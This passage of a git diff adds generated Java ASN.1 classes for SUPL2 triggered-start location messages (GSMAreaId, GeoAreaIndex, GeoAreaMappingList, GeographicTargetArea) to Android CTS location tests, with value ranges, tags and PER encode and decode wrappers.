+ */
+ public void setRefMNC(Asn1Object value) {
+ this.refMNC_ = (GSMAreaId.refMNCType) value;
+ }
+ public GSMAreaId.refMNCType setRefMNCToNewInstance() {
+ refMNC_ = new GSMAreaId.refMNCType();
+ return refMNC_;
+ }
+
+ private GSMAreaId.refLACType refLAC_;
+ public GSMAreaId.refLACType getRefLAC() {
+ return refLAC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GSMAreaId.refLACType
+ */
+ public void setRefLAC(Asn1Object value) {
+ this.refLAC_ = (GSMAreaId.refLACType) value;
+ }
+ public GSMAreaId.refLACType setRefLACToNewInstance() {
+ refLAC_ = new GSMAreaId.refLACType();
+ return refLAC_;
+ }
+
+ private GSMAreaId.refCIType refCI_;
+ public GSMAreaId.refCIType getRefCI() {
+ return refCI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GSMAreaId.refCIType
+ */
+ public void setRefCI(Asn1Object value) {
+ this.refCI_ = (GSMAreaId.refCIType) value;
+ }
+ public GSMAreaId.refCIType setRefCIToNewInstance() {
+ refCI_ = new GSMAreaId.refCIType();
+ return refCI_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMCC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMCC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMCCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GSMAreaId.refMCCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMCC : "
+ + getRefMCC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMNC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMNC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMNCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GSMAreaId.refMNCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMNC : "
+ + getRefMNC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefLAC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefLAC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefLACToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GSMAreaId.refLACType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refLAC : "
+ + getRefLAC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefCI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefCI();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefCIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GSMAreaId.refCIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refCI : "
+ + getRefCI().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMCCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMCCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMCCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMCCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMCCType != null) {
+ return ImmutableList.of(TAG_refMCCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerUnaligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerAligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMCCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMNCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMNCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMNCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMNCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMNCType != null) {
+ return ImmutableList.of(TAG_refMNCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerUnaligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerAligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMNCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refLACType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refLACType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refLACType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refLACType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refLACType != null) {
+ return ImmutableList.of(TAG_refLACType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refLACType from encoded stream.
+ */
+ public static refLACType fromPerUnaligned(byte[] encodedBytes) {
+ refLACType result = new refLACType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refLACType from encoded stream.
+ */
+ public static refLACType fromPerAligned(byte[] encodedBytes) {
+ refLACType result = new refLACType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refLACType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refCIType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refCIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refCIType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refCIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refCIType != null) {
+ return ImmutableList.of(TAG_refCIType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refCIType from encoded stream.
+ */
+ public static refCIType fromPerUnaligned(byte[] encodedBytes) {
+ refCIType result = new refCIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refCIType from encoded stream.
+ */
+ public static refCIType fromPerAligned(byte[] encodedBytes) {
+ refCIType result = new refCIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refCIType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GSMAreaId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaIndex.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaIndex.java
new file mode 100755
index 0000000..e7d1233
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaIndex.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GeoAreaIndex extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_GeoAreaIndex
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GeoAreaIndex() {
+ super();
+ setValueRange("1", "32");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GeoAreaIndex;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GeoAreaIndex != null) {
+ return ImmutableList.of(TAG_GeoAreaIndex);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GeoAreaIndex from encoded stream.
+ */
+ public static GeoAreaIndex fromPerUnaligned(byte[] encodedBytes) {
+ GeoAreaIndex result = new GeoAreaIndex();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GeoAreaIndex from encoded stream.
+ */
+ public static GeoAreaIndex fromPerAligned(byte[] encodedBytes) {
+ GeoAreaIndex result = new GeoAreaIndex();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GeoAreaIndex = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java
new file mode 100755
index 0000000..7927a87
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeoAreaMappingList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GeoAreaMappingList
+ extends Asn1SequenceOf<GeoAreaIndex> {
+ //
+
+ private static final Asn1Tag TAG_GeoAreaMappingList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GeoAreaMappingList() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GeoAreaMappingList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GeoAreaMappingList != null) {
+ return ImmutableList.of(TAG_GeoAreaMappingList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GeoAreaMappingList from encoded stream.
+ */
+ public static GeoAreaMappingList fromPerUnaligned(byte[] encodedBytes) {
+ GeoAreaMappingList result = new GeoAreaMappingList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GeoAreaMappingList from encoded stream.
+ */
+ public static GeoAreaMappingList fromPerAligned(byte[] encodedBytes) {
+ GeoAreaMappingList result = new GeoAreaMappingList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GeoAreaIndex createAndAddValue() {
+ GeoAreaIndex value = new GeoAreaIndex();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GeoAreaMappingList = [\n");
+ final String internalIndent = indent + " ";
+ for (GeoAreaIndex value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetArea.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetArea.java
new file mode 100755
index 0000000..265af60
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetArea.java
@@ -0,0 +1,408 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.CircularArea;
+import android.location.cts.asn1.supl2.ver2_ulp_components.EllipticalArea;
+import android.location.cts.asn1.supl2.ver2_ulp_components.PolygonArea;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GeographicTargetArea extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_GeographicTargetArea
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "GeographicTargetArea: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public GeographicTargetArea() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GeographicTargetArea;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GeographicTargetArea != null) {
+ return ImmutableList.of(TAG_GeographicTargetArea);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new GeographicTargetArea from encoded stream.
+ */
+ public static GeographicTargetArea fromPerUnaligned(byte[] encodedBytes) {
+ GeographicTargetArea result = new GeographicTargetArea();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GeographicTargetArea from encoded stream.
+ */
+ public static GeographicTargetArea fromPerAligned(byte[] encodedBytes) {
+ GeographicTargetArea result = new GeographicTargetArea();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $CircularArea(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new CircularArea();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CircularArea.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $EllipticalArea(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new EllipticalArea();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EllipticalArea.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $PolygonArea(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new PolygonArea();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PolygonArea.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isCircularArea() {
+ return !hasExtensionValue() && Select.$CircularArea == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCircularArea}.
+ */
+ @SuppressWarnings("unchecked")
+ public CircularArea getCircularArea() {
+ if (!isCircularArea()) {
+ throw new IllegalStateException("GeographicTargetArea value not a CircularArea");
+ }
+ return (CircularArea) element;
+ }
+
+ public void setCircularArea(CircularArea selected) {
+ selection = Select.$CircularArea;
+ extension = false;
+ element = selected;
+ }
+
+ public CircularArea setCircularAreaToNewInstance() {
+ CircularArea element = new CircularArea();
+ setCircularArea(element);
+ return element;
+ }
+
+
+
+ public boolean isEllipticalArea() {
+ return !hasExtensionValue() && Select.$EllipticalArea == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isEllipticalArea}.
+ */
+ @SuppressWarnings("unchecked")
+ public EllipticalArea getEllipticalArea() {
+ if (!isEllipticalArea()) {
+ throw new IllegalStateException("GeographicTargetArea value not a EllipticalArea");
+ }
+ return (EllipticalArea) element;
+ }
+
+ public void setEllipticalArea(EllipticalArea selected) {
+ selection = Select.$EllipticalArea;
+ extension = false;
+ element = selected;
+ }
+
+ public EllipticalArea setEllipticalAreaToNewInstance() {
+ EllipticalArea element = new EllipticalArea();
+ setEllipticalArea(element);
+ return element;
+ }
+
+
+
+ public boolean isPolygonArea() {
+ return !hasExtensionValue() && Select.$PolygonArea == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isPolygonArea}.
+ */
+ @SuppressWarnings("unchecked")
+ public PolygonArea getPolygonArea() {
+ if (!isPolygonArea()) {
+ throw new IllegalStateException("GeographicTargetArea value not a PolygonArea");
+ }
+ return (PolygonArea) element;
+ }
+
+ public void setPolygonArea(PolygonArea selected) {
+ selection = Select.$PolygonArea;
+ extension = false;
+ element = selected;
+ }
+
+ public PolygonArea setPolygonAreaToNewInstance() {
+ PolygonArea element = new PolygonArea();
+ setPolygonArea(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "GeographicTargetArea = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java
new file mode 100755
index 0000000..ec49c80
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GeographicTargetAreaList.java
@@ -0,0 +1,128 @@
+/*
